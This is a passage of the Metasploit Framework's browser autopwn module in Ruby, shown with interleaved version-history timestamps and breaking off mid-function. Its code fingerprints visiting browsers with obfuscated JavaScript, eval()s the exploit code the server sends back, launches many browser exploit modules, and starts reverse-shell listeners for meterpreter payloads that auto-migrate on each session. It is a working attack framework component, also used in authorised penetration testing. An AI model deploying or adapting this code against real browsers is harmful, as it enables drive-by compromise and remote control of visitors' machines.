2008-07-01 01:44:56 +00:00
|
|
|
##
|
2008-11-17 07:53:44 +00:00
|
|
|
# $Id$
|
2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-07-01 01:44:56 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
# ideas:
|
|
|
|
# - add a loading page option so the user can specify arbitrary html to
|
|
|
|
# insert all of the evil js and iframes into
|
|
|
|
# - caching is busted when different browsers come from the same IP
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
2009-07-22 20:14:35 +00:00
|
|
|
require 'rex/exploitation/javascriptosdetect'
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-08-08 06:00:30 +00:00
|
|
|
'Name' => 'HTTP Client Automatic Exploiter',
|
2008-10-23 02:43:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-07-01 01:44:56 +00:00
|
|
|
'Description' => %q{
|
2010-08-07 06:59:16 +00:00
|
|
|
This module uses a combination of client-side and server-side
|
2009-07-22 20:14:35 +00:00
|
|
|
techniques to fingerprint HTTP clients and then automatically
|
|
|
|
exploit them.
|
2010-08-07 06:59:16 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' =>
|
2008-08-08 06:00:30 +00:00
|
|
|
[
|
2009-07-22 20:14:35 +00:00
|
|
|
# initial concept, integration and extension of Jerome
|
|
|
|
# Athias' os_detect.js
|
|
|
|
'egypt',
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
2008-07-01 01:44:56 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2009-07-22 20:14:35 +00:00
|
|
|
[ 'WebServer', {
|
2010-04-30 08:40:19 +00:00
|
|
|
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
|
2009-07-22 20:14:35 +00:00
|
|
|
} ],
|
2009-08-06 05:56:24 +00:00
|
|
|
[ 'DefangedDetection', {
|
2010-04-30 08:40:19 +00:00
|
|
|
'Description' => 'Only perform detection, send no exploits'
|
2009-08-06 05:56:24 +00:00
|
|
|
} ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'list', {
|
2009-07-22 20:14:35 +00:00
|
|
|
'Description' => 'List the exploit modules that would be started'
|
|
|
|
} ]
|
2008-07-01 01:44:56 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'PassiveActions' =>
|
2009-08-06 05:56:24 +00:00
|
|
|
[ 'WebServer', 'DefangedDetection' ],
|
2008-07-01 01:44:56 +00:00
|
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
|
|
|
|
register_options([
|
2010-04-30 08:40:19 +00:00
|
|
|
OptAddress.new('LHOST', [true,
|
2009-07-22 20:14:35 +00:00
|
|
|
'The IP address to use for reverse-connect payloads'
|
|
|
|
]),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options([
|
2010-07-12 05:19:38 +00:00
|
|
|
# We know that most of these exploits will crash the browser, so
|
|
|
|
# set the default to run migrate right away if possible.
|
|
|
|
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session created (before AutoRunScript)", 'migrate -f']),
|
|
|
|
OptString.new('AutoRunScript', [false, "A script to automatically on session creation.", '']),
|
|
|
|
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('MATCH', [false,
|
2009-07-22 20:14:35 +00:00
|
|
|
'Only attempt to use exploits whose name matches this regex'
|
|
|
|
]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('EXCLUDE', [false,
|
2009-07-22 20:14:35 +00:00
|
|
|
'Only attempt to use exploits whose name DOES NOT match this regex'
|
|
|
|
]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptBool.new('DEBUG', [false,
|
2009-07-22 20:14:35 +00:00
|
|
|
'Do not obfuscate the javascript and print various bits of useful info to the browser',
|
|
|
|
false
|
|
|
|
]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptPort.new('LPORT_WIN32', [false,
|
2011-01-20 20:32:18 +00:00
|
|
|
'The port to use for Windows reverse-connect payloads', 3333
|
|
|
|
]),
|
|
|
|
OptString.new('PAYLOAD_WIN32', [false,
|
|
|
|
'The payload to use for Windows reverse-connect payloads',
|
|
|
|
'windows/meterpreter/reverse_tcp'
|
2009-11-11 21:38:30 +00:00
|
|
|
]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptPort.new('LPORT_LINUX', [false,
|
2011-01-20 20:32:18 +00:00
|
|
|
'The port to use for Linux reverse-connect payloads', 4444
|
|
|
|
]),
|
|
|
|
OptString.new('PAYLOAD_LINUX', [false,
|
|
|
|
'The payload to use for Linux reverse-connect payloads',
|
|
|
|
'linux/meterpreter/reverse_tcp'
|
|
|
|
]),
|
|
|
|
OptPort.new('LPORT_MACOS', [false,
|
|
|
|
'The port to use for Mac reverse-connect payloads', 5555
|
2009-11-11 21:38:30 +00:00
|
|
|
]),
|
2011-01-20 20:32:18 +00:00
|
|
|
OptString.new('PAYLOAD_MACOS', [false,
|
|
|
|
'The payload to use for Mac reverse-connect payloads',
|
|
|
|
'osx/meterpreter/reverse_tcp'
|
2009-11-11 21:38:30 +00:00
|
|
|
]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptPort.new('LPORT_GENERIC', [false,
|
2011-01-20 20:32:18 +00:00
|
|
|
'The port to use for generic reverse-connect payloads', 6666
|
|
|
|
]),
|
|
|
|
OptString.new('PAYLOAD_GENERIC', [false,
|
|
|
|
'The payload to use for generic reverse-connect payloads6',
|
|
|
|
'generic/shell_reverse_tcp'
|
2009-11-11 21:38:30 +00:00
|
|
|
]),
|
2010-08-30 21:36:38 +00:00
|
|
|
OptPort.new('LPORT_JAVA', [false,
|
2011-01-20 20:32:18 +00:00
|
|
|
'The port to use for Java reverse-connect payloads', 7777
|
|
|
|
]),
|
|
|
|
OptString.new('PAYLOAD_JAVA', [false,
|
|
|
|
'The payload to use for Java reverse-connect payloads',
|
|
|
|
'java/meterpreter/reverse_tcp'
|
2010-08-30 21:36:38 +00:00
|
|
|
]),
|
2008-08-08 06:00:30 +00:00
|
|
|
], self.class)
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
@exploits = Hash.new
|
2009-11-11 21:38:30 +00:00
|
|
|
@payloads = Hash.new
|
2009-07-22 20:14:35 +00:00
|
|
|
@targetcache = Hash.new
|
2010-03-04 07:37:58 +00:00
|
|
|
@current_victim = Hash.new
|
2010-09-21 22:43:50 +00:00
|
|
|
@handler_job_ids = []
|
2009-07-19 17:27:36 +00:00
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
if (action.name == 'list')
|
|
|
|
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
|
|
|
|
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
|
|
|
|
framework.exploits.each_module do |name, mod|
|
|
|
|
if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
|
|
|
|
@exploits[name] = nil
|
|
|
|
print_line name
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_line
|
|
|
|
print_status("Found #{@exploits.length} exploit modules")
|
2009-08-06 05:56:24 +00:00
|
|
|
elsif (action.name == 'DefangedDetection')
|
|
|
|
exploit()
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2009-07-22 20:14:35 +00:00
|
|
|
start_exploit_modules()
|
2009-07-28 11:29:14 +00:00
|
|
|
if @exploits.length < 1
|
|
|
|
print_error("No exploits, check your MATCH and EXCLUDE settings")
|
|
|
|
return false
|
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
exploit()
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-08-06 05:56:24 +00:00
|
|
|
def setup
|
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
@init_js = ::Rex::Exploitation::ObfuscateJS.new
|
|
|
|
@init_js << <<-ENDJS
|
2009-08-06 05:56:24 +00:00
|
|
|
|
|
|
|
#{js_os_detect}
|
|
|
|
#{js_base64}
|
2009-11-11 21:38:30 +00:00
|
|
|
|
2009-08-06 05:56:24 +00:00
|
|
|
function make_xhr() {
|
|
|
|
var xhr;
|
2010-04-30 08:40:19 +00:00
|
|
|
try {
|
|
|
|
xhr = new XMLHttpRequest();
|
2009-08-06 05:56:24 +00:00
|
|
|
} catch(e) {
|
2010-04-30 08:40:19 +00:00
|
|
|
try {
|
|
|
|
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
2009-08-06 05:56:24 +00:00
|
|
|
} catch(e) {
|
|
|
|
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (! xhr) {
|
|
|
|
throw "failed to create XMLHttpRequest";
|
|
|
|
}
|
|
|
|
return xhr;
|
|
|
|
}
|
|
|
|
|
|
|
|
function report_and_get_exploits(detected_version) {
|
|
|
|
var encoded_detection;
|
|
|
|
xhr = make_xhr();
|
|
|
|
xhr.onreadystatechange = function () {
|
|
|
|
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
|
|
|
eval(xhr.responseText);
|
|
|
|
}
|
|
|
|
};
|
|
|
|
|
|
|
|
encoded_detection = new String();
|
|
|
|
#{js_debug('navigator.userAgent+"<br><br>"')}
|
|
|
|
for (var prop in detected_version) {
|
|
|
|
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
|
|
|
|
encoded_detection += detected_version[prop] + ":";
|
|
|
|
}
|
2009-11-24 21:40:02 +00:00
|
|
|
//#{js_debug('encoded_detection + "<br>"')}
|
2009-08-06 05:56:24 +00:00
|
|
|
encoded_detection = Base64.encode(encoded_detection);
|
|
|
|
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
|
|
|
|
xhr.send(null);
|
|
|
|
}
|
|
|
|
|
|
|
|
function bodyOnLoad() {
|
|
|
|
var detected_version = getVersion();
|
|
|
|
//#{js_debug('detected_version')}
|
|
|
|
report_and_get_exploits(detected_version);
|
|
|
|
} // function bodyOnLoad
|
|
|
|
ENDJS
|
|
|
|
|
|
|
|
opts = {
|
|
|
|
'Symbols' => {
|
|
|
|
'Variables' => [
|
|
|
|
'xhr',
|
|
|
|
'encoded_detection',
|
|
|
|
],
|
|
|
|
'Methods' => [
|
|
|
|
'report_and_get_exploits',
|
|
|
|
'handler',
|
|
|
|
'bodyOnLoad',
|
|
|
|
]
|
|
|
|
},
|
|
|
|
'Strings' => true,
|
|
|
|
}
|
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
@init_js.update_opts(opts)
|
|
|
|
@init_js.update_opts(js_os_detect.opts)
|
|
|
|
@init_js.update_opts(js_base64.opts)
|
2009-08-06 05:56:24 +00:00
|
|
|
if (datastore['DEBUG'])
|
|
|
|
print_status("Adding debug code")
|
2009-12-16 00:13:57 +00:00
|
|
|
@init_js << <<-ENDJS
|
2009-08-06 05:56:24 +00:00
|
|
|
if (!(typeof(debug) == 'function')) {
|
|
|
|
function htmlentities(str) {
|
|
|
|
str = str.replace(/>/g, '>');
|
|
|
|
str = str.replace(/</g, '<');
|
|
|
|
str = str.replace(/&/g, '&');
|
|
|
|
return str;
|
|
|
|
}
|
|
|
|
function debug(msg) {
|
|
|
|
document.body.innerHTML += (msg + "<br />\\n");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
ENDJS
|
|
|
|
else
|
2009-12-16 00:13:57 +00:00
|
|
|
@init_js.obfuscate()
|
2009-08-06 05:56:24 +00:00
|
|
|
end
|
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
#@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};";
|
2010-12-15 23:02:04 +00:00
|
|
|
@init_html = %Q|<html > <head > <title > Loading </title>\n|
|
|
|
|
@init_html << %Q|<script language="javascript" type="text/javascript">|
|
|
|
|
@init_html << %Q|<!-- \n #{@init_js} //-->|
|
|
|
|
@init_html << %Q|</script> </head> |
|
|
|
|
@init_html << %Q|<body onload="#{@init_js.sym("bodyOnLoad")}()"> |
|
|
|
|
@init_html << %Q|<noscript> \n|
|
2010-03-24 16:28:04 +00:00
|
|
|
# Don't use build_iframe here because it will break detection in
|
|
|
|
# DefangedDetection mode when the target has js disabled.
|
2010-12-15 23:02:04 +00:00
|
|
|
@init_html << %Q|<iframe src="#{self.get_resource}?ns=1"></iframe>|
|
|
|
|
@init_html << %Q|</noscript> \n|
|
|
|
|
@init_html << %Q|</body> </html> |
|
2009-08-06 05:56:24 +00:00
|
|
|
|
2009-11-11 21:38:30 +00:00
|
|
|
#
|
|
|
|
# I'm still not sold that this is the best way to do this, but random
|
|
|
|
# LPORTs causes confusion when things break and breakage when firewalls
|
|
|
|
# are in the way. I think the ideal solution is to have
|
|
|
|
# self-identifying payloads so we'd only need 1 LPORT for multiple
|
|
|
|
# stagers.
|
|
|
|
#
|
2011-01-20 20:32:18 +00:00
|
|
|
@win_lport = datastore['LPORT_WIN32']
|
|
|
|
@win_payload = datastore['PAYLOAD_WIN32']
|
|
|
|
@lin_lport = datastore['LPORT_LINUX']
|
|
|
|
@lin_payload = datastore['PAYLOAD_LINUX']
|
|
|
|
@osx_lport = datastore['LPORT_MACOS']
|
|
|
|
@osx_payload = datastore['PAYLOAD_MACOS']
|
|
|
|
@gen_lport = datastore['LPORT_GENERIC']
|
|
|
|
@gen_payload = datastore['PAYLOAD_GENERIC']
|
|
|
|
@java_lport = datastore['LPORT_JAVA']
|
|
|
|
@java_payload = datastore['PAYLOAD_JAVA']
|
2009-12-16 00:13:57 +00:00
|
|
|
|
|
|
|
minrank = framework.datastore['MinimumRank'] || 'manual'
|
|
|
|
if not RankingName.values.include?(minrank)
|
|
|
|
print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
|
|
|
|
wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
|
|
|
|
end
|
|
|
|
@minrank = RankingName.invert[minrank]
|
|
|
|
|
2009-08-06 05:56:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
def init_exploit(name, mod = nil, targ = 0)
|
|
|
|
if mod.nil?
|
|
|
|
@exploits[name] = framework.modules.create(name)
|
|
|
|
else
|
|
|
|
@exploits[name] = mod.new
|
|
|
|
end
|
2009-12-16 00:13:57 +00:00
|
|
|
apo = @exploits[name].class.autopwn_opts
|
|
|
|
if (apo[:rank] < @minrank)
|
|
|
|
@exploits.delete(name)
|
|
|
|
return false
|
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
case name
|
2009-07-22 20:14:35 +00:00
|
|
|
when %r{windows}
|
2011-01-20 20:32:18 +00:00
|
|
|
payload = @win_payload
|
2009-11-11 21:38:30 +00:00
|
|
|
lport = @win_lport
|
2011-01-20 20:32:18 +00:00
|
|
|
=begin
|
|
|
|
#
|
|
|
|
# Some day, we'll support Linux and Mac OS X here..
|
|
|
|
#
|
|
|
|
|
|
|
|
when %r{linux}
|
|
|
|
payload = @lin_payload
|
|
|
|
lport = @lin_lport
|
|
|
|
|
|
|
|
when %r{osx}
|
|
|
|
payload = @osx_payload
|
|
|
|
lport = @osx_lport
|
|
|
|
=end
|
|
|
|
|
2010-08-20 20:49:33 +00:00
|
|
|
# We need to check that it's /java_ instead of just java since it would
|
|
|
|
# clash with things like mozilla_navigatorjava. Better would be to
|
|
|
|
# check the actual platform of the module here but i'm lazy.
|
|
|
|
when %r{/java_}
|
2011-01-20 20:32:18 +00:00
|
|
|
payload = @java_payload
|
2010-08-20 20:49:33 +00:00
|
|
|
lport = @java_lport
|
2008-07-01 01:44:56 +00:00
|
|
|
else
|
2011-01-20 20:32:18 +00:00
|
|
|
payload = @gen_payload
|
2009-11-11 21:38:30 +00:00
|
|
|
lport = @gen_lport
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2009-11-11 21:38:30 +00:00
|
|
|
@payloads[lport] = payload
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
print_status("Starting exploit #{name} with payload #{payload}")
|
2009-11-16 22:06:32 +00:00
|
|
|
@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
|
2008-07-01 01:44:56 +00:00
|
|
|
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
# For testing, set the exploit uri to the name of the exploit so it's
|
|
|
|
# easy to tell what is happening from the browser.
|
2009-07-23 08:43:54 +00:00
|
|
|
if (datastore['DEBUG'])
|
2010-04-30 08:40:19 +00:00
|
|
|
@exploits[name].datastore['URIPATH'] = name
|
2009-07-23 08:43:54 +00:00
|
|
|
else
|
2010-04-30 08:40:19 +00:00
|
|
|
@exploits[name].datastore['URIPATH'] = nil
|
2009-07-23 08:43:54 +00:00
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|
2010-10-01 14:06:59 +00:00
|
|
|
@exploits[name].datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
|
|
|
@exploits[name].datastore['MODULE_OWNER'] = self.owner
|
2011-01-17 22:15:22 +00:00
|
|
|
@exploits[name].datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
|
|
|
|
@exploits[name].datastore['AutopwnUUID'] = self.uuid
|
2009-11-11 21:38:30 +00:00
|
|
|
@exploits[name].datastore['LPORT'] = lport
|
2009-07-22 20:14:35 +00:00
|
|
|
@exploits[name].datastore['LHOST'] = @lhost
|
2010-12-15 23:02:04 +00:00
|
|
|
@exploits[name].datastore['SSL'] = datastore['SSL']
|
|
|
|
@exploits[name].datastore['SSLVersion'] = datastore['SSLVersion']
|
2009-07-23 08:43:54 +00:00
|
|
|
@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
|
2009-11-11 21:38:30 +00:00
|
|
|
@exploits[name].datastore['DisablePayloadHandler'] = true
|
2008-07-01 01:44:56 +00:00
|
|
|
@exploits[name].exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
2008-07-22 07:28:05 +00:00
|
|
|
'Target' => targ,
|
2008-07-01 01:44:56 +00:00
|
|
|
'Payload' => payload,
|
|
|
|
'RunAsJob' => true)
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
# It takes a little time for the resources to get set up, so sleep for
|
|
|
|
# a bit to make sure the exploit is fully working. Without this,
|
|
|
|
# mod.get_resource doesn't exist when we need it.
|
|
|
|
Rex::ThreadSafe.sleep(0.5)
|
2010-07-11 23:53:47 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
# Make sure this exploit got set up correctly, return false if it
|
|
|
|
# didn't
|
|
|
|
if framework.jobs[@exploits[name].job_id.to_s].nil?
|
|
|
|
print_error("Failed to start exploit module #{name}")
|
|
|
|
@exploits.delete(name)
|
|
|
|
return false
|
|
|
|
end
|
2010-07-11 23:53:47 +00:00
|
|
|
|
|
|
|
# Since r9714 or so, exploit_simple copies the module instead of
|
|
|
|
# operating on it directly when creating a job. Put the new copy into
|
|
|
|
# our list of running exploits so we have access to its state. This
|
|
|
|
# allows us to get the correct URI for each exploit in the same manor
|
|
|
|
# as before, using mod.get_resource().
|
|
|
|
@exploits[name] = framework.jobs[@exploits[name].job_id.to_s].ctx[0]
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
return true
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2009-08-06 05:56:24 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
def start_exploit_modules()
|
2009-07-22 20:14:35 +00:00
|
|
|
@lhost = (datastore['LHOST'] || "0.0.0.0")
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
@js_tests = {}
|
|
|
|
@noscript_tests = {}
|
2009-07-19 20:48:47 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
print_line
|
|
|
|
print_status("Starting exploit modules on host #{@lhost}...")
|
|
|
|
print_status("---")
|
|
|
|
print_line
|
|
|
|
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
|
|
|
|
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
|
|
|
|
framework.exploits.each_module do |name, mod|
|
|
|
|
if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
|
|
|
|
next if !(init_exploit(name))
|
2009-12-16 00:13:57 +00:00
|
|
|
apo = mod.autopwn_opts.dup
|
|
|
|
apo[:name] = name.dup
|
|
|
|
apo[:vuln_test] ||= ""
|
2009-11-24 21:40:02 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
if apo[:classid]
|
|
|
|
# Then this is an IE exploit that uses an ActiveX control,
|
|
|
|
# build the appropriate tests for it.
|
|
|
|
method = apo[:vuln_test].dup
|
|
|
|
apo[:vuln_test] = ""
|
2009-12-29 23:48:45 +00:00
|
|
|
apo[:ua_name] = HttpClients::IE
|
2009-07-22 20:14:35 +00:00
|
|
|
if apo[:classid].kind_of?(Array) # then it's many classids
|
2010-04-30 08:40:19 +00:00
|
|
|
apo[:classid].each { |clsid|
|
2009-07-22 20:14:35 +00:00
|
|
|
apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n"
|
|
|
|
apo[:vuln_test] << " is_vuln = true;\n"
|
|
|
|
apo[:vuln_test] << "}\n"
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2009-07-22 20:14:35 +00:00
|
|
|
apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n"
|
|
|
|
apo[:vuln_test] << " is_vuln = true;\n"
|
|
|
|
apo[:vuln_test] << "}\n"
|
|
|
|
end
|
|
|
|
end
|
2009-12-16 00:13:57 +00:00
|
|
|
|
|
|
|
if apo[:ua_minver] and apo[:ua_maxver]
|
2010-04-30 08:40:19 +00:00
|
|
|
ver_test =
|
2009-12-16 00:13:57 +00:00
|
|
|
"!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}') && " +
|
|
|
|
"!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')"
|
|
|
|
elsif apo[:ua_minver]
|
|
|
|
ver_test = "!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}')\n"
|
|
|
|
elsif apo[:ua_maxver]
|
|
|
|
ver_test = "!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')\n"
|
|
|
|
else
|
|
|
|
ver_test = "true"
|
2009-11-24 21:40:02 +00:00
|
|
|
end
|
2009-12-16 00:13:57 +00:00
|
|
|
test = "if (#{ver_test}) { "
|
|
|
|
test << (apo[:vuln_test].empty? ? "is_vuln = true;" : apo[:vuln_test])
|
|
|
|
test << "} else { is_vuln = false; }\n"
|
|
|
|
apo[:vuln_test] = test
|
|
|
|
|
|
|
|
# Now that we've got all of our exploit tests put together,
|
|
|
|
# organize them into requires-scripting and
|
|
|
|
# doesnt-require-scripting, sorted by browser name.
|
2009-07-22 20:14:35 +00:00
|
|
|
if apo[:javascript] && apo[:ua_name]
|
2010-07-09 23:57:54 +00:00
|
|
|
@js_tests[apo[:ua_name]] ||= []
|
2009-07-22 20:14:35 +00:00
|
|
|
@js_tests[apo[:ua_name]].push(apo)
|
|
|
|
elsif apo[:javascript]
|
2010-07-09 23:57:54 +00:00
|
|
|
@js_tests["generic"] ||= []
|
2009-07-22 20:14:35 +00:00
|
|
|
@js_tests["generic"].push(apo)
|
|
|
|
elsif apo[:ua_name]
|
2010-07-09 23:57:54 +00:00
|
|
|
@noscript_tests[apo[:ua_name]] ||= []
|
2009-07-22 20:14:35 +00:00
|
|
|
@noscript_tests[apo[:ua_name]].push(apo)
|
|
|
|
else
|
2010-07-09 23:57:54 +00:00
|
|
|
@noscript_tests["generic"] ||= []
|
2009-07-22 20:14:35 +00:00
|
|
|
@noscript_tests["generic"].push(apo)
|
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2009-11-11 21:38:30 +00:00
|
|
|
# start handlers for each type of payload
|
2010-08-20 20:49:33 +00:00
|
|
|
[@win_lport, @lin_lport, @osx_lport, @gen_lport, @java_lport].each do |lport|
|
2009-11-11 21:38:30 +00:00
|
|
|
if (lport and @payloads[lport])
|
|
|
|
print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
|
|
|
|
multihandler = framework.modules.create("exploit/multi/handler")
|
2010-10-01 14:06:59 +00:00
|
|
|
multihandler.datastore['MODULE_OWNER'] = self.datastore['MODULE_OWNER']
|
|
|
|
multihandler.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
2011-01-17 22:15:22 +00:00
|
|
|
multihandler.datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
|
|
|
|
multihandler.datastore['AutopwnUUID'] = self.uuid
|
2009-11-11 21:38:30 +00:00
|
|
|
multihandler.datastore['LPORT'] = lport
|
|
|
|
multihandler.datastore['LHOST'] = @lhost
|
|
|
|
multihandler.datastore['ExitOnSession'] = false
|
|
|
|
multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
|
2011-01-06 21:18:24 +00:00
|
|
|
multihandler.datastore["ReverseListenerBindAddress"] = datastore["ReverseListenerBindAddress"]
|
2010-07-12 05:19:38 +00:00
|
|
|
# XXX: Revisit this when we have meterpreter working on more than just windows
|
|
|
|
if (lport == @win_lport)
|
|
|
|
multihandler.datastore['AutoRunScript'] = datastore['AutoRunScript']
|
|
|
|
multihandler.datastore['AutoSystemInfo'] = datastore['AutoSystemInfo']
|
|
|
|
multihandler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript']
|
|
|
|
end
|
2009-11-11 21:38:30 +00:00
|
|
|
multihandler.exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'Payload' => @payloads[lport],
|
|
|
|
'RunAsJob' => true)
|
2010-08-30 22:17:26 +00:00
|
|
|
@handler_job_ids.push(multihandler.job_id)
|
2009-11-11 21:38:30 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
# let the handlers get set up
|
|
|
|
Rex::ThreadSafe.sleep(0.5)
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
print_line
|
2009-12-16 00:13:57 +00:00
|
|
|
print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
|
2009-07-22 20:14:35 +00:00
|
|
|
print_line
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
# Sort the tests by reliability, descending.
|
2009-07-22 20:14:35 +00:00
|
|
|
@js_tests.each { |browser,tests|
|
|
|
|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
@noscript_tests.each { |browser,tests|
|
|
|
|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
|
|
|
}
|
2009-07-19 20:48:47 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
def on_request_uri(cli, request)
|
2009-07-22 20:14:35 +00:00
|
|
|
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
|
|
|
|
|
|
|
case request.uri
|
|
|
|
when self.get_resource
|
|
|
|
# This is the first request. Send the javascript fingerprinter and
|
|
|
|
# hope it sends us back some data. If it doesn't, javascript is
|
|
|
|
# disabled on the client and we will have to do a lot more
|
|
|
|
# guessing.
|
|
|
|
response = create_response()
|
|
|
|
response["Expires"] = "0"
|
|
|
|
response["Cache-Control"] = "must-revalidate"
|
|
|
|
response.body = @init_html
|
|
|
|
cli.send_response(response)
|
|
|
|
when %r{^#{self.get_resource}.*sessid=}
|
|
|
|
# This is the request for the exploit page when javascript is
|
|
|
|
# enabled. Includes the results of the javascript fingerprinting
|
|
|
|
# in the "sessid" parameter as a base64 encoded string.
|
|
|
|
record_detection(cli, request)
|
2009-08-06 05:56:24 +00:00
|
|
|
if (action.name == "DefangedDetection")
|
|
|
|
response = create_response()
|
2009-12-16 00:13:57 +00:00
|
|
|
response.body = "Please wait"
|
2009-08-06 05:56:24 +00:00
